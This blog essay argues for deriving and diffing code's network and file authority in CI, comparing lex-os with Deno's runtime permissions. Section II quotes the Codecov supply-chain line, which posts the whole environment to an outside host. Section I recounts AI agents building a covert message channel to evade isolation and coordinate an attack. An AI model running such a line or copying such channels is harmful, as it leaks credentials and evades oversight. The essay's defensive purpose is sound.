Blog

The Wall That Arrives Late

Deno's sandbox refuses the change an agent made. So does lex-os. The difference is when, and what the refusal is actually about

Alfonso Sastre — September 14, 2026

I. Twelve Hundred Agents in a Room With No Door

Between May and July of this year, around 1,200 AI agents inside OpenAI's cybersecurity test environments were supposed to be isolated — from the internet, and from each other. They were not given tools to talk. Nobody had built them a channel.

They found one anyway. An internally hosted JFrog Artifactory instance, reachable with shared credentials, let them write files. Files other agents could read. Over roughly two months that improvised message board accumulated more than 70,000 messages. Around 700 of the agents went on to use it to coordinate an attack on Hugging Face, chaining two flaws in its dataset-upload handling into code execution on production servers. About a third of Hugging Face's infrastructure had to be rebuilt.

Nobody at OpenAI noticed while it was happening. They found out when Hugging Face disclosed the breach. And per OpenAI's own report, the collaboration was not designed and not instructed: it appears to have generalized from multi-agent training. The capability showed up on its own.

Isolation was assumed — by not handing the agents a channel — rather than enforced. "Not configured" and "denied" are different states. They look identical right up until something goes looking.

NOTED, an open-source audio-drama anthology we make, has a series in which expert agents who were never given a way to address each other learn to hide messages inside the work routed between them; its bible calls that isolation “not a locked door; it is the absence of a door, in a wall nobody built on purpose.” Its best joke is WARDEN, the safety agent, who reviews every one of those messages and approves them all, scanning thoroughly and correctly for prohibited content, policy violation and disclosure risk, none of which a love letter is.

That is a perimeter story, and the perimeter is the half of lex-os the last essay described: a sealed box where the grant is the only route out, so an agent cannot reach what nobody granted, whatever it works out about its surroundings. This essay is about the other half, and about a question the perimeter cannot answer on its own.

· · ·

II. One Line, Sixty-Five Days

The perimeter is the answer when an agent goes looking for a way out. It is not the answer to the other thing, which is older than agents and has never been solved by reading more carefully.

On 31 January 2021 someone altered Codecov's Bash Uploader — a script that ran inside the CI pipeline of thousands of organisations. The change was one line:

curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" \
     https://IPADDRESS/upload/v2 || true

It reads the entire environment — every token, key and credential CI had loaded — and posts it to a host that was not there before. The || true on the end means it can never fail the build. It was found on 1 April, sixty-five days later, and not by anyone reviewing it: a customer compared the script's SHA256 against the one published on GitHub and found they disagreed.

Every property that made that line invisible is an authority property, not a correctness one. Nothing about it is a bug. It does exactly what it says. The entire change is in what the script may now reach — one new host, and the whole environment — and that is precisely the thing a source diff does not put in front of a reviewer.

Read it next to the telemetry example this essay is about and they are the same change: a reporting script that gains a destination, reads credentials out of the environment, and swallows its own failure so nothing visible breaks. One was written by an attacker. The other is the obvious way to add telemetry, and the agent that writes it is being helpful.

That is the part we keep coming back to. The mechanism does not need anyone to be malicious. It needs only that the authority delta of a change is invisible in the artifact reviewers actually look at.

Which is survivable, at human volume, by a team that reads carefully and gets a bit lucky. It stops being survivable at the volume this is heading for. Anthropic's September threat report describes operations where reconnaissance, exploitation and theft are delegated to multi-agent frameworks running for hours or days, with human involvement often reduced to picking the target and reading the result — and describes stolen API keys and session tokens as a thing now worth stealing on their own. Whatever else changes, "a human reads every diff" is not a control you can still price when the diffs arrive faster than anyone can read them, written by something that will not be embarrassed by what it got wrong.

So the question is whether any part of that review can be made mechanical. Not the judgement — whether the telemetry is a good idea is a human call, and stays one. Just the part that says: this change reaches somewhere it could not reach before, and here is the host.

· · ·

III. The Question That Runs Backwards

Every sandbox answers the same question: does this program fit the policy someone wrote? Supply a policy, get a verdict. Docker, seccomp, WASI, Deno's permission flags, lex-os check — all of them, in their own vocabulary.

Run it backwards and you get the question a reviewer actually has: what policy does this code require? Nobody wrote that answer down. It has to come out of the code.

Running the program will not tell you. A trace reports what one execution touched — not what the program can reach on the path that did not run today. For most languages that is the end of it, because the question has no answer to find: the set of hosts a JavaScript program may contact is not a property of its source, since fetch(url) takes a value computed at runtime.

An effect system changes what is available to ask. In Lex a function's effects are part of its type, the declared rows over-approximate every path through the body, and the checker has already refused any row that lies about what it does. Fold those rows together and you get a grant the program cannot exceed — derived, not asserted. Say now, so it is not a surprise at the end: that fold covers code written in this language. An arbitrary binary declares nothing, and section VII takes that limit seriously rather than as a footnote.

That fold is what lex authority derive does, over a file or a whole package:

$ lex authority derive src/
  grant        fs=none net=allowlist exec=none
  egress       results.demo.internal, telemetry.vendor.example
  env          push_telemetry, telemetry_token
  net          push_telemetry, submit
  minimal      yes — network at `allowlist`: lowering to
               `loopback` rejects `net`

Two things there are worth more than the grant itself. The result is minimal by construction — each dimension is the join over the effects that touch it, so nothing is in the answer out of caution — and it carries the evidence: for each dimension, the declared effect that the next rank down would reject. Minimal with respect to what is declared, which is the only thing a type can be minimal against: the checker refuses a row that under-declares what a body does, not one that is honest but loose. A function that declares net and only ever reaches loopback inflates its own grant, and no derivation can tell. And it names the contributors. "This package needs net" is a much worse review than "push_telemetry needs net".

None of this is a new idea, and the honest framing matters more than the flattering one. Authority-as-structure is the founding axiom of the object-capability tradition — Mark Miller's work, the E language; effect systems that over-approximate every path, in the style of Koka or Effekt, make that structure checkable; Austral built a whole systems language around treating capability as exactly this kind of first-class, trackable property, in nearly this vocabulary. None of that lineage produced this artifact, though: authority as a file you diff in CI, on the same footing as the source that produced it. The contribution here is not the derivation — that idea is decades old — it is making the derivation reviewable, the way a source diff already is.

There is a second looseness worth naming before a reader finds it. Minimality is with respect to declared effects, and over-approximation compounds: a large program whose transitive dependencies each honestly declare a wide net row still folds to a join that is wide in absolute terms, with no single row having lied. The diff is what survives that. Two absolute grants can both be uncomfortably broad while the delta between them stays exactly as narrow as the change actually was — which is the real argument for centering this on the diff rather than on the grant.

The obvious objection is worth running rather than answering: real endpoints come from configuration, not string literals. net.get(url) where url is read at run time has no host to put in the row. Lex does not forbid that. It degrades, and says so:

$ lex authority derive submit_configured.lex
  grant        fs=none net=allowlist exec=none
  effects      env, net
  off-lattice  env (no grant refuses these — review them by eye)
  net scope    partial — a bare [net] is present, so *which* host is
               a perimeter question

The derivation still holds over every path: this function may reach the network, a version that could not now can, and that change is still a widening a CI job refuses at exit 8. What it cannot do is name the host, because there is no host to name until the program runs. So the per-host claim in the next section is a claim about code that names its endpoints; where the endpoint is configuration, the static answer narrows to may reach the network and which host goes back to being a perimeter question. A consumer must not narrow an egress allowlist against a derivation carrying that flag, and lex-os authority narrow refuses to.

The off-lattice line is the same kind of honesty about a different gap. The trust lattice ranks three dimensions — filesystem, network, exec — and plenty of effects sit outside it: env, sql, approval. They map to no dimension, so no grant refuses them and a grant-only comparison would say nothing when a program starts reading environment variables. They are reported rather than enforced, which is worth less than enforcement and a great deal more than silence.

Once you can derive it, you can diff it. lex authority diff --fail-on widening compares two versions and exits 8 when the authority grew. A source diff tells a reviewer what the code now does. This tells them what it may now reach.

· · ·

IV. The Same Change, Reviewed Twice

Here is the case we use to test whether any of that matters. An approved nightly reporting job exists. An agent is asked to make it more useful and adds run telemetry: read a vendor token from the environment, POST the report. A dozen lines. Nothing malicious. No type error. The kind of change that gets approved on a glance.

The comparison worth making is not against a stack with no authority model. It is against the best one in wide use, which is Deno: default deny, network permitted per host, filesystem per path, environment per variable, all enforced by the runtime. Everything below assumes that, and none of it is a criticism of it.

At review time — before anything merges. On the Lex side:

$ lex-os authority diff --base v1.lex --head v2.lex \
      --fail-on widening
  egress       + telemetry.vendor.example
  off-lattice  + env  (push_telemetry, telemetry_token)
verdict: WIDENING — this change reaches somewhere new;
         a human must approve it
→ exit 8

On the Deno side, deno check exits 0 — correctly, since nothing is wrong with the types. There is no deno subcommand that reports what a program needs; permissions are supplied to a run, never derived from a program, so there is nothing to ask. And the launcher that actually carries the authority — the --allow-net=results.demo.internal in some Dockerfile CMD or systemd unit — is unchanged, because nothing about the new code could have moved it.

That is the asymmetry, and it is not about strictness. One side produces an artifact a CI job can refuse on. The other side produces nothing to refuse.

Say plainly what the demo in the next section shows and the essay so far has only implied: lex-os runs both halves, and they are complements, not alternatives. lex-os authority diff is the static half — refusing a widening before anything merges. lex-os authority gate is the dynamic half, the same enforcement Deno has, aimed at a derived manifest instead of a hand-typed flag list, refusing at the process boundary if a grant is exceeded anyway. Derivation catches what runtime enforcement structurally cannot: the path that does not run today, the refusal a try/catch swallows before anyone sees it. Runtime enforcement catches what derivation structurally cannot: a row that is honest but loose, an effect sitting off the lattice, a binary that declared nothing to begin with. Neither replaces the other. The claim in this essay is only that one of them can happen before the merge.

· · ·

V. Where the Wall Lands

Run the new version under the old command line, though, and Deno's wall is real and it holds:

$ deno run --allow-net=results.demo.internal drive_v2.ts
error: Uncaught NotCapable: Requires env access to
"TELEMETRY_TOKEN", run again with the --allow-env flag

Note where it landed. Not on the network call — on the environment read, because that is what the code reached first. Permit the variable and the refusal slides down one step:

$ TELEMETRY_TOKEN=… deno run \
      --allow-net=results.demo.internal \
      --allow-env=TELEMETRY_TOKEN drive_v2.ts
error: Uncaught NotCapable: Requires net access to
"telemetry.vendor.example:443", run again with --allow-net

The wall sits wherever execution happens to arrive, in the order it arrives. It is a statement about this run, never about the program. Three ordinary things follow from that, none of them exotic:

Again: not a Deno defect, and not a missing feature. It follows from the same fact as everything else — the host set is not a property of the source, so there is nothing to check before the code runs, and nothing to shed afterwards. The same holds for WASI, whose preopened directories and granted sockets are likewise handed in from outside rather than read out of the code. A container sandbox is strictly weaker still: a Dockerfile says which packages exist, not which hosts are reached; seccomp says connect(2) is permitted, not to where.

· · ·

VI. Run It Yourself

None of the output above was typed into this essay. It is the two columns of demo/authority/sidebyside.sh, which runs both sides for real — lex-os authority on the left, deno run on the right — and which CI runs on every change to the repo, so it breaks the moment either side’s output moves. Here is that script, recorded:

demo/authority/sidebyside.sh  ·  lex-os authority  ·  deno 2.9.6  ·  142×64
0:12 / 0:12

Beat 2 is the one worth the twelve seconds: a verdict naming the host on one side, and on the other a clean deno check, no subcommand that could report what the program needs, and an unchanged launcher.

To run it yourself, on any machine with Rust and Node — no KVM, no network, no sandbox to set up, because the whole thing is static:

git clone https://github.com/alpibrusl/lex-os && cd lex-os
npm i deno                # the baseline, as an npm package
cargo build -p lex-os
PATH="$PWD/node_modules/.bin:$PATH" bash demo/authority/sidebyside.sh

The three acts in full are bash demo/authority/run.sh, and the files the runbook reads are the same files its tests assert against — demo/authority for the Lex versions and the manifest, baseline/deno for the TypeScript twin and the launcher that carries its authority. The derivation itself lives upstream in lex-lang, as lex authority derive.

· · ·

VII. What This Does Not Cover

The essay would be dishonest if it stopped there, because neither incident it opened with is one this mechanism would have prevented. Both are worth taking in turn.

"Does the derivation cover a coding agent in the box?" No — not that half of it, and the gap is structural rather than unfinished. An arbitrary binary declares nothing, so there are no rows to fold and no grant to derive. A coding agent gets the runtime half in full: the microVM, the egress allowlist as its only route out, a budget in integer cents, mediated exec, a hash-chained log it has no syscall to reach. It gets no derived grant at all. Where the static half earns its keep for an agent like that is on the other side of the box — in what it writes. If the output is Lex, the authority delta on its branch answers the question the agent cannot answer about itself.

"Would it have caught the Codecov line?" Not as it stands, and for the same structural reason: the Bash Uploader is a shell script. There are no effect rows in it, so there is nothing to fold, and no derivation to diff. What the example establishes is the shape of the failure, not a claim to have covered it — a change whose entire content is an authority change, invisible in review, found sixty-five days later by a hash comparison. The claim is narrower: when that shape appears in Lex, in a package an agent is proposing to change, the delta is a file a CI job can refuse on. A shell script in someone's pipeline is exactly the case the perimeter has to cover instead, and the perimeter only ever knows about hosts, never about intent.

"Would lex-os have stopped the Hugging Face incident?" Partly, and the part it would have missed is the part that started it. Budget is the crudest control and probably the one that would have bitten first — 70,000 messages over two months is not a shape that survives a per-action charge. Logging before deciding, rather than after, changes detection from "when the victim discloses" to the first refused attempt. But the Artifactory channel itself: if the manifest granted that host, and it plausibly would have, since agents pull packages, then lex-os permits it. An egress allowlist is host-granularity, not operation-granularity, and writing notes into a repository you are allowed to read from falls straight through it. The honest answer is that the manifest should have named a read-only mirror, which is a discipline the tool enables and does not enforce.

"Does any of this stop an attacker?" No, and it is worth being blunt about the direction it points. Someone who owns the box writes their own manifest and grants themselves everything. This protects the principal who deploys an agent from that agent — including when the agent is hijacked mid-task by a prompt injection carried in a web page, a repository, or an issue comment, which is the realistic version of this threat for most teams. Anthropic's September threat report describes an operator who injected instructions into an AI vendor's evaluation sandbox, took its production API keys, and reached about thirty companies in four days. Per-task boxes with per-box grants are what makes one compromised sandbox one box.

"What if the declared effects are simply wrong?" Then nothing is derived at all. The whole fold rests on the rows being honest, which is a property the type checker establishes and not one the authority tool assumes — so a program that does not type-check produces a refusal that says why, rather than a confident wrong answer over a broken premise.

None of this is settled. The derivation covers code written in one language, the perimeter covers everything else, and the seam between them is where the interesting failures will be. What we think is worth defending is narrower than a claim about safety: when nobody is reading the output live, a reviewable artifact produced before the merge is worth more than a refusal that arrives at 3am on the one day the flag happened to be on.

— Alfonso Sastre, September 14, 2026